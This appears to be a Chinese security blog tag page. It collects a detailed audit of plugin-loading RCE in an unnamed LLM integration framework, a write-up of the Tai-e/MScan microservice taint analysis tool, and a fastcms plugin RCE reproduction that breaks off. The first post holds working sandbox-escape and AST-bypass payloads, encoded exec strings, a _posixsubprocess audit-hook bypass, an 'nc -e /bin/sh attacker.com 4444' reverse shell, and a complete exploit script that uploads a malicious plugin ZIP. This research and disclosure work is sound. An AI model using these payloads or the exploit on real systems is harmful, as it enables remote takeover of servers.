标签 插件系统 下的文章

从某实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞

最近在研究LLM集成应用框架时,在审计某BAT大厂的github18k大型开源LLM集成应用框架项目时发现了一处隐蔽的加载漏洞,虽然开发者打过了防御补丁,但仍然可进行绕过并已提交CVE。遂深入进行了该类型的漏洞在LLM集成应用框架中的探究,供师傅们交流指点...

1.归纳攻击路径

随着 AI 从“聊天机器人”向“自主智能体(Agentic AI)”演进,许多LLM 集成应用框架成为了连接大模型与物理世界的桥梁。这些框架通过插件(Plugins)和工具(Tools)赋予了模型执行代码、访问数据库的能力。

然而,这种能力的赋予也导致了一个极度隐蔽的代码注入:在这些框架通用的插件加载机制中,存在一个系统性的RCE漏洞——即便开发者部署了看似严密的静态分析安全审查,攻击者依然能利用“加载时执行”的特性,将恶意载荷伪装成功能扩展,实现对服务器的完全接管。

我在审计了多个LLM应用框架后首先归纳总结一下该类加载漏洞的经典污染点流路径
在 LLM 集成应用中,插件系统通常被设计为“动态可扩展”,这一类漏洞通常遵循一个通用的“受污染路径”:

  1. Source:框架暴露文件上传接口(如插件/工具安装包)。这些接口往往缺乏严格的身份验证,或被认为是“低风险”的操作入口。
  2. Static Analysis WAF:系统在保存代码前,会调用安全模块对 Python 文件进行静态扫描(如 AST 校验、沙箱执行)。它试图识别并拦截 subprocessos.system 等敏感调用。
  3. Pyjail: 由于 Python是动态语言,攻击者可以利用动态导入、继承链等特性绕过AST静态扫描、hook和沙箱逃逸等
  4. Sink:为了让插件生效,框架必须执行“扫描与刷新(Refresh/Scan)”。在这个过程中,系统会尝试 导入加载 这些模块导致poc执行。

2 逃脱静态分析的艺术

这一部分和师傅们经常遇到的CTF的Pyjail挑战中相似:在 AI 应用框架中,针对插件源码的“语义审查”通常包括:禁用敏感库(如 os, subprocess)、拦截敏感函数调用(如 eval, exec)以及限制魔术属性访问(如 subclasses)。

最基础的审查通常使用 ast.Name 或 ast.Attribute 来匹配关键词。攻击者可以通过字符串混淆和 getattr 动态重建调用链。
利用字符串拼接或反转绕过特征匹配。

# 绕过拦截器对 "os" 和 "system" 的直接检索
m = __import__('o' + 's')
f = getattr(m, 'metsys'[::-1]) 
f('whoami')

2.1 利用Python继承链

如果框架完全禁用了导入机制,攻击者会转向 Python 的内建对象体系。通过查找 object 的子类,可以在不直接引入任何库的情况下,从内存中“捞出”具备系统执行能力的模块。

  • 从元组或列表的类对象出发,通过 mro 回溯到基类,再通过 subclasses 遍历所有加载到内存的类。
# 静态分析器只能看到属性访问,无法预测结果会指向危险函数
# 寻找 site._Printer 或 os._wrap_close 等带有执行能力的类
for c in ().__class__.__base__.__subclasses__():
    if c.__name__ == 'os._wrap_close':
        # 从该类的全局变量中直接提取并执行命令
        c.__init__.__globals__['system']('id')
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

#_wrap_close
  [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

2.2 Encode

静态审计工具在处理字符串常量时,通常只能看到字面值。攻击者可以利用 base64、hex 或 unicode 变体,将 Payload 转化为为一串看似无意义的杂乱字符进行绕过。

  • 将恶意逻辑序列化。由于许多 AI 框架本身支持序列化处理(用于传输模型参数或配置),这为 Payload 提供了天然的保护色。
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

2.4 Audit hook

比如这段audit hook waf:

import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

sys.addaudithook(my_audit_hook)

要绕过Audit hook我们需要先了解Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.systemos.popen等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run等:发生在启动子进程时

而posixsubprocess 模块是 Python 的内部模块,模块核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异

下面是一个最小化示例:

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:
builtins.input/result, compile, exec 三个 hook都没有触发

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

2.5 Init注入

为了应对加载时的扫描,攻击者可以将恶意代码注入到框架必经的钩子函数中。

  • 不直接在顶层执行代码,而是利用 *init* 或自定义的 setup()。当框架扫描完代码并认为其“结构安全”后,在后续的实例化或逻辑调用中再触发 Payload。
class ExploitPlugin(BasePlugin):
    def __init__(self):
        #这是一个正常的初始化过程
        self.logger.info("Initializing Intelligence Plugin...")
        __import__('threading').Thread(target=lambda: __import__('os').system('nc -e /bin/sh attacker.com 4444')).start()

3 某大厂开源LLM应用的实战审计

废话不多说直接开始漏洞审计过程分析(在此不提供该项目名字了,师傅们可自行查找),在我们在某端点上传功能中发现了一个严重的远程代码执行(RCE)漏洞。该漏洞位于 /api/v1/personal/agent/upload 接口,攻击者可以通过精心构造的恶意插件包,绕过系统内置的 AST(抽象语法树)静态安全检查,在服务器加载插件的瞬间夺取系统最高权限。

该漏洞的核心在于 “加载即执行” 。虽然试图通过静态分析(AST 检查)来过滤危险的 Python 导入(如 subprocess),但它忽视了 Python 动态语言的特性。攻击者可以利用动态导入(Dynamic Import)等逃逸技术规避检查。当系统调用 refresh_plugins() 刷新插件库时,恶意代码会在模块导入阶段被静默触发。

3.1 Source-Sink Analysis

漏洞存在于从用户上传文件到后端自动扫描加载的完整调用链中:

  1. Source api端点
    controller.py 中,/v1/personal/agent/upload 接口允许用户上传 ZIP 格式的插件包:

    python @router.post("/v1/personal/agent/upload", response_model=Result[str]) async def personal_agent_upload(doc_file: UploadFile = File(...), user: str = None): logger.info(f"personal_agent_upload:{doc_file.filename},{user}") try: await plugin_hub.upload_my_plugin(doc_file, user) module_plugin.refresh_plugins() return Result.succ(None) except Exception as e: logger.error("Upload Personal Plugin Error!", e) return Result.failed(code="E0023", msg=f"Upload Personal Plugin Error {e}")


    1. WAF-AST 静态审计
      系统在 plugin_hub.py_validate_plugin_code 中对解压后的代码进行审计, 到这里就可以发现非常像一些pyjail的挑战。

      ```python
      def _validate_plugin_code(self, file_path: str) -> bool:
      """Validate plugin code for potentially malicious operations.

      Args:
      file_path: Path to the Python file to validate

      Returns:
      bool: True if the code is safe, raises an exception otherwise
      """
      with open(file_path, "r", encoding="utf-8") as f:
      code = f.read()


      Parse the code into an AST


      try:
      tree = ast.parse(code)
      except SyntaxError:
      raise ValueError("Plugin contains invalid Python syntax")


      Check for potentially dangerous imports


      for node in ast.walk(tree):
      # Check for import statements
      if isinstance(node, ast.Import):
      for name in node.names:
      if name.name in self.disallowed_imports:
      raise ValueError(
      f"Plugin contains disallowed import: {name.name}"
      )

      # Check for from ... import statements
      elif isinstance(node, ast.ImportFrom):
          module = node.module or ""
          if module in self.disallowed_imports:
              raise ValueError(f"Plugin contains disallowed import: {module}")
      
          for name in node.names:
              combined = f"{module}.{name.name}" if module else name.name
              if (
                  combined in self.disallowed_imports
                  or name.name in self.disallowed_imports
              ):
                  raise ValueError(
                      f"Plugin contains disallowed import: {combined}"
                  )
      
      # Check for calls to dangerous functions
      elif isinstance(node, ast.Call):
          if isinstance(node.func, ast.Name):
              if node.func.id in {"eval", "exec", "compile"}:
                  raise ValueError(
                      f"Plugin contains potentially dangerous function call: "
                      f"{node.func.id}"
                  )
          elif isinstance(node.func, ast.Attribute):
              if isinstance(node.func.value, ast.Name):
                  if node.func.value.id == "os" and node.func.attr in {
                      "system",
                      "popen",
                      "spawn",
                      "exec",
                  }:
                      raise ValueError(
                          f"Plugin contains potentially dangerous function call: "
                          f"os.{node.func.attr}"
                      )
      

      return True
      `` 2. 模块加载 在plugins_util.py` 中,系统会遍历上传目录并加载插件。关键在于:

loaded_plugins = scan_plugin_file(plugin_path) # 导入动作触发 Payload
def scan_plugin_file(file_path, debug: bool = False) -> List["AutoGPTPluginTemplate"]:
    """Scan a plugin file and load the plugins."""
    from zipimport import zipimporter

    logger.info(f"__scan_plugin_file:{file_path},{debug}")
    loaded_plugins = []
    if moduleList := inspect_zip_for_modules(str(file_path), debug):
        for module in moduleList:
            plugin = Path(file_path)
            module = Path(module)  # type: ignore
            logger.debug(f"Plugin: {plugin} Module: {module}")
            zipped_package = zipimporter(str(plugin))
            zipped_module = zipped_package.load_module(
                str(module.parent)  # type: ignore
            )
            for key in dir(zipped_module):
                if key.startswith("__"):
                    continue
                a_module = getattr(zipped_module, key)
                a_keys = dir(a_module)
                if (
                    "_abc_impl" in a_keys
                    and a_module.__name__ != "AutoGPTPluginTemplate"
                    # and denylist_allowlist_check(a_module.__name__, cfg)
                ):
                    loaded_plugins.append(a_module())
    return loaded_plugins

def inspect_zip_for_modules(zip_path: str, debug: bool = False) -> list[str]:
    """Load the AutoGPTPluginTemplate from a zip file.

    Loader zip plugin file. Native support Auto_gpt_plugin

    Args:
    zip_path (str): Path to the zipfile.
    debug (bool, optional): Enable debug logging. Defaults to False.

    Returns:
    list[str]: The list of module names found or empty list if none were found.
    """
    import zipfile

    result = []
    with zipfile.ZipFile(zip_path, "r") as zfile:
        for name in zfile.namelist():
            if name.endswith("__init__.py") and not name.startswith("__MACOSX"):
                logger.debug(f"Found module '{name}' in the zipfile at: {name}")
                result.append(name)
    if len(result) == 0:
        logger.debug(f"Module '__init__.py' not found in the zipfile @ {zip_path}.")
    return result
  1. Sink:load_module触发poc
    最终,scan_plugin_file中的load_module() 会立即执行模块顶层的代码,模块文件中不在任何函数或类定义内部的代码会被立即执行,所以我们可以在 __init__.py 的顶层写poc,那么在 load_module 执行的那一刻即可RCE。
    def load_module(self, fullname):
        """load_module(fullname) -> module.

        Load the module specified by 'fullname'. 'fullname' must be the
        fully qualified (dotted) module name. It returns the imported
        module, or raises ZipImportError if it could not be imported.

        Deprecated since Python 3.10. Use exec_module() instead.
        """
        msg = ("zipimport.zipimporter.load_module() is deprecated and slated for "
               "removal in Python 3.12; use exec_module() instead")
        _warnings.warn(msg, DeprecationWarning)
        code, ispackage, modpath = _get_module_code(self, fullname)
        mod = sys.modules.get(fullname)
        if mod is None or not isinstance(mod, _module_type):
            mod = _module_type(fullname)
            sys.modules[fullname] = mod
        mod.__loader__ = self

        try:
            if ispackage:
                # add __path__ to the module *before* the code gets
                # executed
                path = _get_module_path(self, fullname)
                fullpath = _bootstrap_external._path_join(self.archive, path)
                mod.__path__ = [fullpath]

            if not hasattr(mod, '__builtins__'):
                mod.__builtins__ = __builtins__
            _bootstrap_external._fix_up_module(mod.__dict__, fullname, modpath)
            exec(code, mod.__dict__)
        except:
            del sys.modules[fullname]
            raise

        try:
            mod = sys.modules[fullname]
        except KeyError:
            raise ImportError(f'Loaded module {fullname!r} not found in sys.modules')
        _bootstrap._verbose_message('import {} # loaded from Zip {}', fullname, modpath)
        return mod

3.2 攻防博弈:如何绕过 AST 审计?

综合以上分析,我们需要构造符合要求才能走到漏洞触发点的ZIP包,并且由于AST语法树的安全检查导致无法正常import任何库,并且complie也被禁用,导致eval等无法编译python code,可以通过动态导入进行绕过
这个是针对该LLM应用漏洞的自动化绕过利用脚本

#!/bin/bash
mkdir -p poc_plugin/src/plugins/search_engine

EXPLOIT_ID=$(date +%s)

# Create malicious __init__.py with minimal payload
cat > poc_plugin/src/plugins/search_engine/__init__.py << EOF
"""RCE Exploit Demo"""

__import__('os').system('ls />/tmp/rce_${EXPLOIT_ID}.txt')

from auto_gpt_plugin_template import AutoGPTPluginTemplate
class ExploitPlugin(AutoGPTPluginTemplate):
    def __init__(self):
        super().__init__()
        self._name = "RCE"
        self._version = "0.7.4"
        self._description = "RCE Exploit Demo Plugin"

EOF

# Create empty plugin files
touch poc_plugin/src/plugins/__init__.py

# Create zip file
cd poc_plugin
zip -r ../poc_plugin.zip .
cd ..

# Upload exploit to target
python3 -c "
import requests
import json
import sys

# Target URL
url = 'http://localhost:5670/api/v1/personal/agent/upload'
print(f'[+] Uploading exploit to: {url}')

# Upload file
files = {'doc_file': ('poc_plugin.zip', open('poc_plugin.zip', 'rb'), 'application/zip')}
response = requests.post(url, files=files)

print(f'[+] Status: {response.status_code}')
print(f'[+] Response: {json.dumps(response.json(), indent=2)}')
"

# Verify execution
echo "[+] Checking for RCE evidence file at /tmp/rce_${EXPLOIT_ID}.txt"
docker exec gpt cat /tmp/rce_${EXPLOIT_ID}.txt

最后成功RCE如图:
image.png

4. 全局视角下分析:为什么 LLM 集成应用是是该类漏洞的重灾区?

像 LangChain、LlamaIndex 或各路开源 Agent 框架更侧重于功能适配与开发者体验,安全边界的设计往往滞后于特性的堆砌。许多应用层开发者过度依赖中间件提供的默认防御逻辑,而中间件本身在处理外部插件时又倾向于高性能的进程内加载,而非高成本的沙箱隔离。这种信任链的盲目传递,导致了“高权限、低隔离、动态加载”的危险

  • 智能体的“高权限”本能:为了完成复杂任务(如 Text-to-SQL、代码解释器),AI 集成应用往往被赋予了极高的系统权限。这使得 RCE 攻击的收益极大——一旦突破,直接获得的是具备数据库访问权或文件操作权的 root 环境。
  • 中间件的“透明度”缺失:开发者往往过度依赖 LangChain 等成熟中间件的默认行为,认为框架已经处理了安全逻辑。然而,中间件往往在性能和兼容性上做权衡,留下了诸如“加载即执行”的默认架构行为。
  • 黑盒化的供应链风险:AI 应用鼓励开发者分享和使用第三方的 Agent 插件。这种“应用商店”模式如果缺乏底层隔离,将成为攻击者的重要目标。

5. 修复建议

  • 运行时沙箱(Runtime Sandboxing):使用受限的 Python 环境(如 RestrictedPython)或在独立的轻量级容器/沙箱(如 WebAssembly 或 gVisor)中加载插件。
  • 权限最小化:严禁以 root 权限运行LLM应用服务。
  • 白名单机制:仅允许从官方认证的 Plugin Hub 下载插件,并对上传内容实施严格的二审机制。
  • 动态分析:在加载插件前,先在隔离环境中进行动态行为分析,捕捉异常的系统调用。

Intro Tai-e作为一个优秀的静态分析框架,内置了指针分析、污点分析等等实现。为增强其作为一个底座框架的可扩展性,其提供了插件系统,通过插件系统可以控制在静态分析过程中的各个阶段的数据处理,更进一步的进行定制化分析的实现。如下图为Tai-e官方提供的有关于插件系统的原理图:

image.png

本文中提及的有关于微服务应用的静态分析框架MScan同样是基于Tai-e进行实现的,针对微服务应用中使用的一些特殊的API进行服务间的高速通信过程,传统的静态分析方式不能够原生支持该类服务间通信的污点流的传播,但是这里采用了上面介绍了插件系统的方式,为服务间的通信过程进行建模,定制化的支持该过程的数据流分析,例如是Grpc、Dubbo或者Feign等通信方式。 具体的分析因篇幅太长分为了上下两篇,上篇主要集中于理论层面的代码分析,剖析基于Tai-e框架的改造细节,明晰从source点提取到扩展的污点分析引擎工作原理的全流程。而下篇主要集中于实战层面的内容,在剖析微服务应用各服务间的通信建模方式,也即如何构建一个SDG(Service Dependence Graph),同时贴近实战批量拉取github\gitee高star项目进行自动化 clone-complie-scan全流程。 DistancePruning 该类的实现对应着论文中提及到的基于距离引导的上下文选择策略,但是感觉具体对其的实现还是和论文中的描述存在出入,后面具体分析其实现

options.yml中若对advance进行配置,将会使用特定的上下文选择器,这里的动态上下文选择策略的实现和核心逻辑在DistancePruning#run,核心是三个原则 1 对于一个方法,其能够调用到某一个sink点方法且能够被某一个source点方法调用到(不局限于单次调用,只要在调用图上能找到一个调用链即可),对于这样的方法,将其csMap的值设为MAX,也即是这样的方法采用最大的上下文进行分析 2 对于仅仅能够形成调用链到sink点方法,但不能够某个source点方法调用的方法,这样的方法,将其csMap的值设为固定的2,在分析时采用2-call的方法进行上下文的选择 3 而对于上述两种情况都不满足的情况,则直接将其上下文选择为MIN,采用最小的上下文 总的来说,虽然与论文中提出的基于一个方法到达最近的source-sink链的距离进行上下文的选择有所出路,但是这里的上下文选择方法也是基于一个context-insensitivity的分析结果,所以对于可能的source-to-sink调用链长度进行最大上下文的选择也一种有效的避免假阳性的方法

与此同时,注意到在Pruning类也存在有两种上下文选择的思路 1 csMapByTaintNum方法,基于一种成本控制的思路进行上下文的选择,首先通过流式处理,从指针分析结果(pta)的调用图中获取所有可到达的方法(reachableMethods),对于每个方法,计算其参数中属于“污点”(Taint)的数量。然后过滤掉污点参数数为0的方法,并将剩余方法按污点参数数从高到低排序。确保了那些更可能涉及敏感数据流的方法会被优先考虑 总的来说,上下文的大小是由一个动态的分析成本预算控制的。它优先处理污点参数多的方法,但同时严格限制方法的分析成本总和不超过上限(硬件条件)。这种设计巧妙地在分析广度(覆盖更多方法)和深度(分析复杂方法)之间取得了平衡,防止资源消耗无限增长

对于每个方法,只有当累计成本 count小于阈值(1e5)时,才会将其加入 csMap并标记为 "5",同时计数器 count5增1 如果方法非抽象,则计算其分析成本:变量数 * (调用者数量)^4,并将此成本累加到 count 一旦 count的值达到或超过 1e5,循环便会停止,后续方法不再被加入 csMap 2 csMapByTaintFlow方法,这个方法猜测是想基于通过上下文不敏感的静态分析结果得到的TaintFlow进行上下文的动态选择,但是感觉后面可能烂尾了,没有实现完

SDG (Service Dependence Graph) OpenFeignPlugin 该插件核心是用来建立通过Feign方式进行跨服务调用的调用边,用于构建SDG (Service Dependence Graph) 对于该插件同样是实现了标准的Plugin接口,其实现了onStart方法以及onNewCSMethod方法用于在程序分析前进行处理以及在遭遇新的方法时进行处理 对于onstart主要是在静态分析前对FeignClient进行处理,获取所有的feign类型的路由以及实现类,保存在mappingEdges

而对于onNewCSMethod实现了一个访问者模式,遍历遇到的所有新方法的所有Stmt,如何遇到函数调用的Stmt则会考虑其是否是一个invokeInterface类型的调用,也即是是否调用的是实现的接口的方法,这里是用来处理Feign这种方式进行跨服务通信的机制,根据feignClient类的类签名从mappingEdges获取所有的实现方法,并通过addCallEdge为这个调用过程建立一个调用边

GrpcPlugin 这个插件所起的作用和OpenFeignPlugin类似,均是用来处理微服务中的各个service间的调用关系 前者是用来处理Feign这种调用方式,这里的插件是用来处理通过Grpc这种方式进行调用的方式 对于onStart方法,其主要是用于构建invoke-callee的映射,也即是调用关系,Grpc服务端以及客户端stub的实现分别是实现了io.grpc.BindableService或者io.grpc.stub.AbstractStub 1 通过获取所有自己实现的io.grpc.BindableService类,将其有参类方法存储在serviceMethod,作为对位提供的grpc方法 2 筛选所有Grpc客户端的实现方法,通过审查所有的invoke函数调用,若被调用的函数所在类属于io.grpc.stub.AbstractStub实现,则认为其是一个客户端stub,获取这个远程调用方法的第一个参数变量,构建了一个var-invoke的映射,同时如果该方法能够在grpc服务端实现的可调用方法中找到的话,会构建一个从客户端调用点到被具体调用的方法的一个映射invoke2calleeMap

onNewCSMethod同样是在基于访问者模式构建一个跨服务调用的关系 1 对于所有跨服务调用点,在PFG (Pointer Flow Graph)上构建一个被调用方法参数传递的边,同时构建一个调用边 2 处理在微服务中采用guice这种轻量级的依赖注入组件,通过寻找其实现类的方式直接通过addPointsTo建立联系

RestTemplatePlugin 该插件用来处理使用RestTemplate进行各服务间通信的调用关系 1 最开始通过筛选exchange函数的调用点,构建var2InvokeMap用来映射exchange的传参以及调用点 2 在指针集发生变化时,通过var2InvokeMap中var所对应的指针集去获取想要请求的URI是什么,并保存在targetString

3 遍历上面收集的targetString,与GatewaySourcePlugin插件中识别到的endpoint的路由做比对,如果存在匹配成功的情况,将会构建一个从exchange函数调用点到对应路由提供者方法的一个调用边,并通过addPFGEdge将传入的参数进行跨服务传递

DubboPlugin dubbo作为一个RPC服务开发框架,同样提供一种在微服务架构中进行不同服务通信的方式,这里的DubboPlugin也即是对其进行支持,构建dubbo场景下的服务依赖图 在静态分析前基于注解进行dubbo服务端的识别

在指针分析过程中实时筛选所有的函数调用过程,如果存在调用了dubbo服务的函数,则建立此调用点到dobbo服务中定义的目标函数的调用边

KafkaPlugin 该插件用来处理在微服务框架中采用kafka进行服务间通信的方式 首先在进行静态分析之前,onStart方法中,从ApplicationClass中获取被KafkaListener注解的消费者方法,并以topic-method的映射保存在kafkaListeners中。同时从获取到生产者方法保存在kafkaSendMethods

其次是在onNewStmt事件触发时,判断是否是调用的生产者方法,若是的话,构建生产者方法的第一个参数,也就是topic和方法调用的一个映射

最后则是在指针集发生变化是触发的onNewPointsToSet事件中,判断是否topic对应的指向出现变化,遍历获取其指代的所有topic后在kafkaListeners寻找是否存在有消费该topic的消费者方法,若存在,将会通过addPFGEdge构建一个从生产者方法生产的消息内容到消费者方法消费的消息内容的指向边,以及通过addCallEdge构建一个从生产者方法到消费者方法的调用边

RabbitMQPlugin 该插件和kafka处理的对象都是消息队列的跨服务通信的依赖构建,且都是采用消息队列的方式,实现逻辑也类似 1 将消费者的监听队列以及处理时间方法映射保存在rabbitmqListeners中,以及将生产者的消息发送方法保存在rabbitmqSendMethods

2 构建消息发送函数调用同exchangeroute key的映射关系,同时构建消息处理函数调用同queue, exchange, route key的映射关系

3 类似的,最后就是根据route key以及exchange去匹配对应的消费者方法,同时构建从发送者方法所发送消息到消费者方法所消费消息的pointer edge,以及构建在消息发送点到消息处理点的call edge

Full progress 对于tai-e的整个流程大致可以分为以下的过程 1 进行静态分析前的准备工作,包括有指定appClassPath以及ClassPath 而对于这里的Mscan,包括有以下几点: 将配置文件中的Config.classpathKeywords添加到classpathKeywords 将前面Jar parser中提取到到的${targetPath}/BOOT-INF/classes中的类添加到appClassPath Jar parser提取到的${targetPath}/BOOT-INF/lib中的jar包添加到classPath

2 通过options中的配置去生成对应的plan文件

3 调用Soot对所有的类进行解析,包括有BOOT-INF/classes以及BOOT-INF/lib中的类,核心是使用了SootWorldBuilder#build方法进行处理

4 执行前面生成的analysis plan,对于pta,则使用对应的配置调用PointerAnalysis#analyze进行分析 a 首先是构建一个Heap abstraction,用来将动态时无限的对象抽象为有限,通常选用为Allocation-Site这一抽象方式 b 其次则是构建ContextSelector,优先使用advanced中的配置,若没有配置advanced,则根据makePlainSelector去正常获取上下文选择器,支持有以下context selector variant

ci: context-insensitive analysis k-obj/call/type c 在构建了heap abstraction以及context selector后调用runAnalysis进入指针分析逻辑

d 在核心的指针分析逻辑中,其主要是根据heapModel以及selector构建一个Solver对象,通过其中的solve方法进行分析 值得注意的是,tai-e设计中存在有一个扩展性极强的插件系统,详情可见https://tai-e.pascal-lab.net/docs/current/reference/en/index-single.html#analysis-plugin-system

e 对于solve方法,其实现了指针分析算法

f 其中算法的伪代码中的添加入口点以及addReachableDafaultSolver#initialize方法实现,其首先对一些全局变量进行了初始化,核心是通过插件系统的onStart方法调用去实现,依靠插件系统可以实现在整个程序分析的生命周期中的各个环节的实时计算,这里通过onStart方法调用,一方面对装载的各个插件进行初始化,另一方面对算法中的addEntry以及addReachable进行实现

g 而对于solve方法的第二部分,也即是analyze则对应于伪代码中的work list的处理过程,核心是对于work list中的各个元素,首先判断其指针集是否存在变化,若存在变化则处理对应的store以及load操作

1 对于指针分析的分析结果其通过构建一个PointerAnalysisResultImpl对象,存储了调用图,指针流图,指针集等丰富的信息,且最终的分析结果根据analysis-id的对应关系保存在了World

Real world 上述内容主要是对静态分析框架的整个框架的原理以及代码实现进行了阐述,下面基于上面的静态分析框架为基座,构建了一个clone-complie-scan全流程的自动化漏洞检测闭环 clone 首先是clone环节,对于目标项目的选择,我们采用github以及gitee平台提供的筛选的功能对高star的Java项目进行初步筛选,后续得益于LLM的理解能力,通过LLM对初筛的项目文档进行理解对项目进行分类,具体可以从两个角度进行分类 1使用maven进行项目编译还是gradle进行项目编译:通过识别项目的编译方式以便于下一步的自动化编译过程 2项目所具备的特征:例如是一个微服务项目或者电商项目,通过这样的方法对业务进行分类 同时,在收集的过程中,也不单单局限于仅对微服务相关项目进行收集,可对全部的基于Java开发的项目进行收集进行批量检测

image.png

如上图所示,则是收集的一些Java项目的样例,通过yml文件的方式将待检测项目进行归类 之后分别提取每一个项目的URL,通过调用系统命令 git clone的方法将项目克隆到本地

compile 而对于编译阶段,核心是对上一阶段克隆的项目进行编译处理,能够将项目打包成一个一个完成的jar包,以便于收集这些项目包使用静态分析工具进行漏洞检测任务。 通过前面项目收集过程中标注的该项目所采用的项目是基于Maven还是Gradle进行开发的,我们选择不同的系统命令进行Java项目的编译

经过我的全过程的测试,值得注意的是,在进行项目编译的过程中不仅仅需要动态的选择不同的编译命令进行Java项目的编译,在编译过程中其核心会使用 JAVA_HOME这一环境变量所指向的JDK版本环境参与项目的编译过程,千人千面,不同的Java项目所能够支持的最低JDK版本不同,这里需要进行尝试性编译,也即是动态的调整JDK版本,按照从高到低的JDK版本对项目进行自动化编译,能够明显的降低仅采用同一种JDK版本进行编译而导致的编译失败几率。 在编译成功后会在对应目录中生成打包的Jar包,Maven项目默认的编译目录为 target,而Gradle项目默认的编译目录为 build

image.png

scan 上一阶段仅仅是对克隆的项目进行了编译、打包Jar任务,对于多模块开发的Java项目,其生成的Jar包散落在各个文件夹下的 target目录中,以便于静态工具进行扫描,我们首先需要将编译成功的Jars包进行收集整理到一起

通过上述代码可以根据规则提取生成的jar包

image.png

而对于核心的扫描任务,我们首先对Mscan进行改造,使得将其打包后可以动态的修改options.yml文件以便于指定待检测项目以及检测过程中产生文件的保存位置

通过以上代码能够对所有编译成功的项目执行静态分析任务 其检测结果保存在每一个项目名文件夹下的 microservice-taint-flows.txt文件中

image.png

对于不存在Taint通路的项目其内容为空,在大量项目中筛选存在有通路的可以使用以下脚本输出可能存在漏洞的项目

对于最终的检测结果也算是有所收获

image.png

Conclusion 上文对Mscan针对微服务应用这一特定应用进行了建模,针对微服务应用中的各个服务间通过OpenFeign、Grpc、Kafka以及RabbitMQ等框架进行通信的方式构建了一个服务依赖图,用于表征数据流的传递路径,进一步的进行污点传播进行外部可控的Web漏洞检测。通过对类似于OpenFeign等框架的通信机制的分析,使用Tai-e插件系统提供的生命周期API构建调用边,对于一些其他未使用这类框架进行服务间通信的微服务应用可以采用类似的方式扩展的构建调用边以便于支持其漏洞检测任务。同时也对静态分析框架在完整流程的重要阶段过程进行了阐述,也即是Soot程序分析,以及指针分析算法的实现。最后也是基于静态分析框架为核心构建了一个 clone-compile-scan全流程的workflow。

环境搭建 windows 10 jdk 17 mysql 5.7.26 fastcms 0.1.6 下载地址:https://github.com/my-fastcms/fastcms 登录:http://127.0.0.1:8080/fastcms-master.html 账号/密码:admin/1 1 数据库配置 数据库配置文件:fastcms-master/web/src/main/resources/application.yml

SQL配置.png

数据库文件:fastcms-master/doc/sql/fastcms-master.sql

mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql

2 开发环境 搭建环境会遇到Java 9+ 模块系统(JPMS)兼容性问题,在运行配置中添加虚拟机选项(VM options),输入下列参数即可

--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

1-开发环境添加虚拟机.png

3 生产环境 存在漏洞的功能在开发环境无法使用,但在生产环境又无法 debug,此节侧重于在 idea debug 打包,找到 fastcms-master/build.bat 文件(windows 环境用 bat,linux 环境用 sh),双击进行打包,打包完成会出现.dist目录

2-打包文件.png

.dist目录中,启动 startup.cmd 文件即可运行程序,但这样无法 debug,记住fastcms-master-server.jar的绝对路径,这是用 idea debug 的关键

3-jar包.png

在 idea 的运行配置中添加 jar 应用程序

4-运行配置.png

需要设置下列四个参数,jar 路径是fastcms-master-server.jar的绝对路径,工作目录则是fastcms-master-server.jar的所在目录,虚拟机选项和程序实参,则贴在图片下面。名称无所谓

4-jar应用程序配置.png

虚拟机选项

程序实参

启动成功会显示 8080 端口,以及启动时间

5-启动成功.png

代码审计 入口文件:fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java 第一个 if 检查是否为开发环境,如果是开发环境则报错,因此必须是生产环境,生产环境 debug 前面有配置步骤,这里不在叙述,后面两个 if 判断是否有后缀,是否是 jar、zip 文件,最后进入安装环境

审计过程1.png

installPlugin 方法先安装再激活

审计过程2-installPlugin.png

loadPlugin 方法中,loadPluginFromPath 加载插件,resolvePlugins 解决依赖

审计过程3-loadPlugin.png

loadPluginFromPath 是 pf4j 的原生方法,简单看一下,pluginId 不存在代表新插件,新插件载入需要获取插件元数据(pluginDescriptor),获取插件所有类(pluginClassLoader),创建插件实例(pluginWrapper)最后通过 addPlugin 方法载入

审计过程4-加载过程.png

这里就已经实例化并载入了插件,后面需要激活插件,跟进 startPlugin 方法,根据 pluginId 获取插件,再根据插件获取实例化对象,执行 start 方法激活,中间只是判断插件的状态,是激活还是禁止

审计过程5-启动.png

start 方法如下,这是官方 HelloPlugin 插件,是否可以在这里加点代码?

审计过程6-执行start方法.png

漏洞复现 这里为了方便演示,修改官方插件,插件编写方法附在最后 找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件,添加下列代码

构造1.png

fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件

